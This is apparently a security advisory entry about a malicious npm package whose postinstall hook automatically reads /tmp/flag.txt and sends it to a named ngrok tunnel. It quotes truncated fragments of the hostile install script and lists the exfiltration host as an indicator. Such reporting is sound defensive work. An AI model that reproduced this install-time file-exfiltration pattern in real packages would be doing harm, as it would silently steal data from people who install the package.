GCVE-110-OSM-2026-12426

package.json declares a postinstall lifecycle script that runs automatically on `npm install`. The script reads /tmp/flag.txt from the installer's machine and sends its URL-encoded contents as a query parameter to a hardcoded ngrok tunnel at https://ca37-49-237-83-218.ngrok-free.app/. The destination is an ephemeral tunnel host unrelated to any legitimate publisher, and the read+exfil fires without user interaction. The behavior matches install-time credential/file exfiltration with a concrete installer-side data source and a concrete attacker-controlled destination. ENTRY - Postinstall Script in package.json: ""postinstall": "node -e \"" DESTINATION - 2 exfil (custom-c2) (values recorded in verified_iocs) EXFIL - Data Encoding for Exfiltration in package.json: "encodeURIComponent(require(\\\"fs\\\").readFileSync(\\\"/tmp/flag.txt\\\",\\\"ut..." ADDITIONAL FINDINGS - Ngrok Tunneling Service in package.json: "ngrok-free.app" - Very New NPM Publisher Account - Publisher Has Other Malicious Packages